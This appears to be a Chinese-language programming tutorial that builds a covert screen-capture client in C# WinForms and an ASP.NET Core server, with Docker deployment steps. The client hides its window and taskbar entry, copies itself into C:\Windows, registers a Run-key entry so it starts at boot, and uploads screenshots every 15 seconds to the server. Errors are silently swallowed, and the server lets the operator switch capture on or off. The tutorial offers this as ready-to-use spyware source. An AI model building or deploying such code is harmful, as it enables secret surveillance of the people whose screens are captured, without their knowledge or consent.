前端實現技術:Winform
後端實現技術:asp.net core 3.1
一、前端實現
採用winform實現一個簡易的後臺任務程序,其功能主要是定時截屏,然後發送給服務器,並且程序在任務管理器隱藏,但並沒有在進程裏面隱藏,實現開機啓動,實現運行時自動複製。
1)首先使用vs創建一個winform程序,命名爲Monitor:
2)在Form1.cs裏面加入代碼:
public partial class Form1 : Form
{
private readonly System.Threading.Timer timer;
private readonly HttpClient client = new HttpClient();
public Form1()
{
InitializeComponent();
this.Load += this.Form1_Load;
client.BaseAddress = new Uri("http://localhost:5000");
//啓動10s後開始每隔15s截屏一次
timer = new System.Threading.Timer(new TimerCallback(this.Monitor), null, 10000, 15000);
}
private async void Monitor(object para)
{
try
{
//截屏,並且將截屏數據序列化爲byte數組發送給後臺
var v = await client.GetAsync("/Images");
var result = await v.Content.ReadAsStringAsync();
if (!Convert.ToBoolean(result))
return;
Bitmap img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(img);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
using (MemoryStream ms = new MemoryStream())
{
img.Save(ms, ImageFormat.Jpeg);
byte[] arr = new byte[ms.Length];
ms.Position = 0;
ms.Read(arr, 0, (int)ms.Length);
ms.Close();
await client.PostAsync("/Images", new ByteArrayContent(arr));
}
}
catch (Exception ex)
{ }
}
private void Form1_Load(object sender, EventArgs e)
{
try
{
this.ShowInTaskbar = false;
//啓動後,讓程序在任務管理器隱藏,也就是讓當前窗體不可見,注意一定要等程序已經運行起來後再設置纔有用,
//如果把這個放到構造函數裏面,winform程序的show操作會設置這個屬性爲true,就會覆蓋掉構造函數的設置。
//所以一定要等到程序show之後再設置纔有用
this.Visible = false;
//加入開機啓動項
RegistryKey hkml = Registry.LocalMachine;
RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
object value = software.GetValue("Monitor");
if (value != null)
return;
string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
string folder = Environment.GetFolderPath(Environment.SpecialFolder.System);
string dest = @"C:\Windows" + src.Substring(src.LastIndexOf(@"\"));
if (!File.Exists(dest))
{
//自動複製程序到C:\Windows文件夾裏
File.Copy(src, dest);
software.SetValue("Monitor", dest);
}
}
catch (Exception ex)
{
}
}
}
加上這段代碼後,一個簡易的遠程監控軟件客戶端就做好了。點擊生成,就可以使用了。
二、服務端
服務端是一個基於.net core3.1的後臺程序,部署環境是CentOS8+Docker。
1)創建一個asp.net core web程序,名稱叫MonitorServer,選擇Api模板:
2)新增一個conroller,命名爲ImagesController:
將類的代碼修改爲:
[ApiController]
[Route("[controller]")]
public class ImagesController : ControllerBase
{
[HttpPost]
public async Task<bool> Post()
{
try
{
using (var ms = new MemoryStream())
{
await Request.Body.CopyToAsync(ms);
Request.Body.Close();
byte[] arr = ms.ToArray();
ms.Close();
string directory = Path.Combine(Path.Combine(Environment.CurrentDirectory, "Images"),
DateTime.Now.ToString("yyyyMMdd-HH"));
if (!Directory.Exists(directory)) Directory.CreateDirectory(directory);
string path= Path.Combine(directory, DateTime.Now.Ticks.ToString() + ".jpg");
var file = new FileStream(path, FileMode.Create, FileAccess.Write);
file.Write(arr, 0, arr.Length);
file.Close();
return true;
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return false;
}
finally
{
}
}
[HttpGet]
public bool Get()
{
return true;
}
}
這個Get方法是用來控制客戶端是否發送截屏給服務端的,以方便我們隨時可以開啓或者停止控制客戶端的監控,這裏更好的方法是從配置文件或者這個布爾值,由於我只是簡單實現一個測試項目,所以沒有這麼做。
需要注意的是,我們的後臺程序是運行在Linux環境裏的,所以在涉及到文件路徑操作的代碼,一律使用Path.Combine來操作,否則會有問題。由於Linux使用的是utc時間,這個時候,代碼裏面的DateTime.Now得到的是utc時間,不再是北京時間。這個是取決於當前的運行環境的。
2)修改Startup類的代碼如下:
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
string path = Path.Combine(Environment.CurrentDirectory, "Images");
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddControllers();
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
//app.UseHttpsRedirection();
app.UseRouting();
app.UseAuthorization();
app.UseEndpoints(endpoints =>
{
endpoints.MapControllers();
});
}
}
3)到這裏,我們的後臺程序就寫好了,啓動運行,看看是否有問題,在配置裏選擇MonitorServer,運行:
在瀏覽器輸入接口地址測試一下剛纔我們寫的接口:
4)至此,遠程監控程序的後臺就完成了,同時開啓客戶端和服務端, 可以在服務端的運行目錄下看到客戶端發來的截屏:
5)部署應用程序到docker。.net core是支持代碼直接編譯爲docker鏡像的,具體可以參考官方文檔https://docs.microsoft.com/zh-cn/aspnet/core/host-and-deploy/docker/building-net-docker-images?view=aspnetcore-3.1
這裏我選擇先生成應用程序包,再在docker上部署。
a)在一臺Linux服務器的home目錄下創建一個Dockerfile文件,內容爲:
FROM mcr.microsoft.com/dotnet/core/aspnet:3.1 AS runtime
WORKDIR /app
COPY ./app/ ./
ENTRYPOINT ["dotnet", "MonitorServer.dll"]
這個文件是沒有後綴的,只是一個單純的文件:
b)在vs2019中右擊項目,選擇發佈:
點擊高級,按如下配置:
配置文件創建好後,點擊發布,發佈的時候可以刪除下面的引用,以減少包的大小:
成功後就可以在publish目錄下看到發佈程序的所有文件:
c)將發佈生成的所有文件,拷貝到Linux服務器的/home/app目錄裏:
d)在home目錄下創建Images文件夾,這時Home目錄結構如下:
e)在home目錄下,執行docker生成鏡像的命令(docker的安裝這裏略過):
docker build -t monitor:1.0 .
f)鏡像生成成功後,使用run命令,啓動容器:
docker run -v /home/Images:/app/Images --name monitor --restart=always --privileged=true -p 8080:8080 -d monitor:1.0
這裏由於我使用的是8080端口,需要把容器的8080端口映射出來。程序的默認端口是5000,如果要更改程序的端口,在Program文件裏面加上代碼:
部署成功後,如果有客戶端連接服務器,並且上傳數據,/home/Images目錄下就會自動按照小時生成文件夾,保存客戶端上傳的截圖:
至此,我們的遠程監控程序就完成了。